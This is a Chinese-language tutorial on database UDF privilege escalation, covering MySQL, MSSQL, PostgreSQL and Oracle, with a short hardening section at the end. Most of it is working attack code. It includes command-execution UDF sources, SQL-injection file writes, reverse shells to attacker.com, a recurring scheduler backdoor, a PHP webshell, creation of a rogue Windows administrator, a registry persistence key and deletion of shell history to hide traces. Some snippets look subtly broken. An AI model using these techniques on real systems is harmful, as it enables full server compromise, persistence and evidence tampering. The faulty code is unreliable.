一、UDF 提权概述
用户自定义函数(User Defined Function, UDF) 是 MySQL 提供的扩展机制,允许开发者用 C/C++ 编写动态链接库(.so / .dll),然后在 SQL 中调用。但如果你有 FILE 权限和 CREATE FUNCTION 权限,就能把系统命令变成 SQL 函数,实现从数据库用户到系统 root 的跨越。
二、前置条件
2.1 权限检查
-- 检查当前用户权限
SELECT user();
SELECT current_user();
-- 检查 FILE 权限
SHOW GRANTS LIKE '%FILE%';
-- 检查 CREATE FUNCTION 权限
SHOW GRANTS LIKE '%CREATE%FUNCTION%';
-- 检查插件目录
SHOW VARIABLES LIKE 'plugin_dir';
-- 检查 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv';
-- 如果是 NULL,禁止读写
-- 如果是路径,只能在那个目录
-- 如果是空,可以读写任意目录
2.2 典型权限获取路径
普通 Web 用户(低权限)
│
│ SQL 注入(UNION SELECT / 堆叠)
▼
数据库 FILE + CREATE FUNCTION 权限
│
│ 写入 .so/.dll 到 plugin_dir
▼
创建 UDF sys_exec()
│
│ sys_exec('whoami')
▼
系统命令执行(通常 mysql 用户)
│
│ 提权漏洞 / 定时任务 / 反弹 shell
▼
root 权限
三、lib_mysqludf_sys 详解
lib_mysqludf_sys 是最流行的 UDF 提权库。
3.1 编译安装
方法一:下载预编译版本
# 从 exploit-db 下载
wget https://www.exploit-db.com/raw/1518 -O udf.c
# 或者找预编译的
# 32 位: lib_mysqludf_sys.so
# 64 位: lib_mysqludf_sys.so
方法二:手动编译
// udf.c — 简化版
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mysql/mysql.h>
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
char *sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);
void sys_exec_deinit(UDF_INIT *initid);
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
strcpy(message, "Wrong args");
return 1;
}
return 0;
}
char *sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
FILE *fp = popen(args->args[0], "r");
if (!fp) return NULL;
fgets(result, 255, fp);
*length = strlen(result);
pclose(fp);
return result;
}
void sys_exec_deinit(UDF_INIT *initid) {}
# 编译(需要 mysql-devel 包)
gcc -shared -fPIC udf.c -o libudf.so $(mysql_config --cflags --libs)
# 或者更简单
gcc -shared -fPIC udf.c -o libudf.so -I/usr/include/mysql
3.2 上传 UDF 文件
MySQL 5.x 方法
-- 找到 plugin_dir
SELECT @@plugin_dir;
-- /usr/lib/mysql/plugin/
-- 用 INTO OUTFILE 写入
SELECT 0x... INTO DUMPFILE '/usr/lib/mysql/plugin/libudf.so';
-- 或者分块写入(大文件)
SELECT 0x7F454C46... INTO OUTFILE '/tmp/udf1.so';
SELECT 0x... INTO OUTFILE '/tmp/udf2.so';
-- 然后用 CONCAT 拼成完整文件
MySQL 8.0 方法
MySQL 8.0 限制了 secure_file_priv,默认禁止写入。需要先修改:
-- 如果有足够权限
SET GLOBAL secure_file_priv = '';
-- 或者从配置文件修改(如果能读到 my.cnf)
SELECT LOAD_FILE('/etc/my.cnf');
3.3 创建 UDF 函数
-- 创建 sys_exec(执行命令)
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'libudf.so';
-- 创建 sys_eval(执行命令并返回输出)
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'libudf.so';
-- 创建 sys_get(获取系统变量/环境变量)
CREATE FUNCTION sys_get RETURNS STRING SONAME 'libudf.so';
-- 创建 sys_set(设置系统变量)
CREATE FUNCTION sys_set RETURNS STRING SONAME 'libudf.so';
-- 创建 sys_exec_cmd(更底层)
CREATE FUNCTION sys_exec_cmd RETURNS STRING SONAME 'libudf.so';
3.4 使用 UDF
-- 执行系统命令
SELECT sys_exec('whoami');
-- root
SELECT sys_exec('id');
-- uid=0(root) gid=0(root) groups=0(root)
SELECT sys_exec('cat /etc/passwd');
-- 返回命令输出
SELECT sys_eval('id');
-- 写入反弹 shell
SELECT sys_exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1');
3.5 清理痕迹
DROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;
DROP FUNCTION sys_get;
-- 删除 .so 文件
SELECT sys_exec('rm -f /usr/lib/mysql/plugin/libudf.so');
-- 清理历史
SELECT sys_exec('rm -f /root/.bash_history');
SELECT sys_exec('history -c');
四、secure_file_priv 绕过
4.1 secure_file_priv 的值
| 值 | 效果 |
|---|---|
| NULL | 禁止所有 LOAD_FILE / INTO OUTFILE |
| 空字符串 | 允许读写任意目录 |
/path/to/dir/ |
只能在这个目录读写 |
4.2 绕过方法
方法一:修改 MySQL 配置文件
如果有写入权限,修改 my.cnf:
# 找到配置文件
SELECT sys_exec('find / -name "my.cnf" 2>/dev/null');
SELECT sys_exec('cat /etc/mysql/my.cnf');
# 修改 secure_file_priv
SELECT sys_exec('echo "secure_file_priv=" >> /etc/mysql/my.cnf');
SELECT sys_exec('service mysql restart');
方法二:软链接
# 如果 secure_file_priv 指向某个目录
SELECT sys_exec('ln -s /var/lib/mysql-files /tmp/link');
# 然后用 LOAD_FILE 读取
SELECT LOAD_FILE('/tmp/link/passwd');
方法三:MySQL 8.0 的 LOAD_FILE 绕过
MySQL 8.0.17+ 引入了 mysql.import 表:
-- 某些版本可以通过 INFORMATION_SCHEMA 的 FILES 表绕过
SELECT * FROM INFORMATION_SCHEMA.FILES;
-- 或者用 CTE + UNION 的方式
五、Windows MSSQL UDF 提权
5.1 xp_cmdshell
MSSQL 最经典的存储过程,执行系统命令:
-- 默认关闭,需要开启
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 执行命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'ipconfig';
-- 添加管理员
EXEC xp_cmdshell 'net user hacker P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
5.2 CLR UDF
MSSQL 支持 .NET CLR 存储过程,可以用 C# 编译 DLL:
using System;
using System.Data.SqlTypes;
using System.Diagnostics;
public class UDF {
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString SysExec(SqlString cmd) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
return new SqlString(p.StandardOutput.ReadToEnd());
}
}
-- 启用 CLR
sp_configure 'show advanced options', 1; RECONFIGURE;
sp_configure 'clr enabled', 1; RECONFIGURE;
-- 创建程序集
CREATE ASSEMBLY udf FROM 'C:\path\to\udf.dll' WITH PERMISSION_SET = UNSAFE;
-- 创建函数
CREATE FUNCTION dbo.SysExec(@cmd NVARCHAR(4000))
RETURNS NVARCHAR(MAX)
AS EXTERNAL NAME udf.UDF.SysExec;
-- 使用
SELECT dbo.SysExec('whoami');
5.3 OLE Automation
DECLARE @o int;
EXEC sp_oacreate 'wscript.shell', @o OUTPUT;
EXEC sp_oamethod @o, 'run', NULL, 'calc.exe';
-- 或执行命令
EXEC sp_oacreate 'scripting.filesystemobject', @o OUTPUT;
EXEC sp_oamethod @o, 'exec', NULL, 'cmd.exe /c whoami > C:\temp\out.txt';
5.4 注册表利用
-- 读取注册表
EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', '', @value OUTPUT;
-- 写入启动项
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Backdoor', 'cmd.exe /c C:\shell.exe';
六、PostgreSQL UDF 提权
6.1 CREATE FUNCTION + 动态链接库
// pg_udf.c
#include <postgres.h>
#include <fmgr.h>
#include <utils/builtins.h>
#include <stdio.h>
PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
text *cmd = PG_GETARG_TEXT_PP(0);
FILE *fp = popen(text_to_cstring(cmd), "r");
char buf[1024];
pclose(fp);
PG_RETURN_TEXT_P(cstring_to_text(buf));
}
# 编译
gcc -shared -fPIC pg_udf.c -o pg_udf.so -I/usr/include/postgresql
# 上传到服务器
scp pg_udf.so user@target:/tmp/
-- PG 9.3+ 的 CREATE EXTENSION 或直接 CREATE FUNCTION
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS text AS '/tmp/pg_udf.so', 'sys_exec' LANGUAGE C STRICT;
SELECT sys_exec('whoami');
6.2 COPY PROGRAM
PostgreSQL 9.3+ 可以用 COPY ... TO PROGRAM:
-- 写入文件
COPY (SELECT '<?php eval($_GET[1]);?>') TO PROGRAM 'cat > /var/www/html/shell.php';
-- 读取命令输出
COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/out.txt';
6.3 plpython3u 利用
如果安装了 Python 过程语言:
CREATE EXTENSION IF NOT EXISTS plpython3u;
CREATE FUNCTION sys_exec(cmd text) RETURNS text AS $$
import subprocess
result = subprocess.run(cmd, shell=True, capture_output=True)
return result.stdout.decode()
$$ LANGUAGE plpython3u;
SELECT sys_exec('whoami');
6.4 DO 块利用
DO $$ BEGIN EXECUTE format('CREATE TABLE IF NOT EXISTS %I', 'test'); END $$;
-- 结合系统函数
DO $$ BEGIN PERFORM pg_sleep(5); END $$;
七、Oracle UDF 提权
7.1 Java Stored Procedure
Oracle 从 8i 开始支持 Java 存储过程:
import java.lang.Runtime;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class UDF {
public static String sysExec(String cmd) throws Exception {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = r.readLine()) != null) sb.append(line).append("\n");
return sb.toString();
}
}
# 编译并 loadjava
loadjava -v -u sys/password UDF.class
CREATE OR REPLACE FUNCTION sys_exec(cmd VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME 'UDF.sysExec(java.lang.String) return java.lang.String';
SELECT sys_exec('whoami') FROM dual;
7.2 DBMS_SCHEDULER
用数据库调度器在操作系统层面执行任务:
BEGIN
DBMS_SCHEDULER.create_job(
job_name => 'BACKDOOR',
job_type => 'EXECUTABLE',
job_action => '/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"',
start_date => SYSTIMESTAMP,
repeat_interval => 'FREQ=MINUTELY;INTERVAL=5',
auto_drop => FALSE
);
DBMS_SCHEDULER.enable('BACKDOOR');
END;
/
7.3 UTL_FILE + 软链接
-- 创建 directory 对象
CREATE OR REPLACE DIRECTORY MYDIR AS '/tmp';
-- 写入文件
BEGIN
UTL_FILE.PUT_LINE(UTL_FILE.FOPEN('MYDIR', 'backdoor.sh', 'W'), 'whoami > /tmp/out');
END;
八、Metasploit UDF Helper
Metasploit 提供了完整的 UDF 提权模块。
8.1 MySQL UDF
# 生成 UDF payload
msfconsole
use exploit/multi/misc/mysql_payload_rce
set RHOST 192.168.1.100
set RPORT 3306
set USER root
set PASS root
run
8.2 手动配合
# 1. 用 msfvenom 生成 UDF DLL
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f dll > udf.dll
# 2. 通过 SQL 注入写入
# 需要 FILE 权限和 INTO DUMPFILE
SELECT 0x4D5A9000... INTO DUMPFILE 'c:/windows/temp/udf.dll';
# 3. 创建 UDF 调用
CREATE FUNCTION sys_binexec RETURNS STRING SONAME 'udf.dll';
SELECT sys_binexec('met');
九、UDF 提权防御
9.1 MySQL 加固
-- 移除危险权限
REVOKE FILE ON *.* FROM web_user;
REVOKE CREATE ON mysql.* FROM web_user;
REVOKE CREATE FUNCTION ON *.* FROM web_user;
-- 设置 secure_file_priv
-- my.cnf: secure_file_priv = NULL
-- 禁用动态链接加载(MySQL 8.0)
plugin-load-add = ""
9.2 MSSQL 加固
-- 关闭危险存储过程
EXEC sp_dropextendedproc 'xp_cmdshell';
EXEC sp_dropextendedproc 'xp_oacreate';
EXEC sp_dropextendedproc 'xp_regread';
-- 禁用 CLR
EXEC sp_configure 'clr enabled', 0; RECONFIGURE;
9.3 PostgreSQL 加固
-- 限制 CREATE FUNCTION
REVOKE ALL ON FUNCTION sys_exec(text) FROM PUBLIC;
-- 移除 PL 语言
DROP EXTENSION plpython3u;
DROP EXTENSION plperlu;
-- 限制 COPY PROGRAM
ALTER USER web_user WITH NOBYPASSRLS;
9.4 监控
# 监控 UDF 文件创建
inotifywait -m /usr/lib/mysql/plugin/ -e create,modify
# 异常查询监控
tail -f /var/log/mysql/general.log | grep -i "CREATE FUNCTION\|INTO OUTFILE\|INTO DUMPFILE"
UDF 提权是 SQL 注入危害最严重的阶段——从数据泄露升级到系统完全沦陷。防御的关键是严格控制 CREATE FUNCTION 和 FILE 权限,配合操作系统层面的最小权限原则,让 mysql/postgres/mssqlserver 用户没有系统命令执行能力。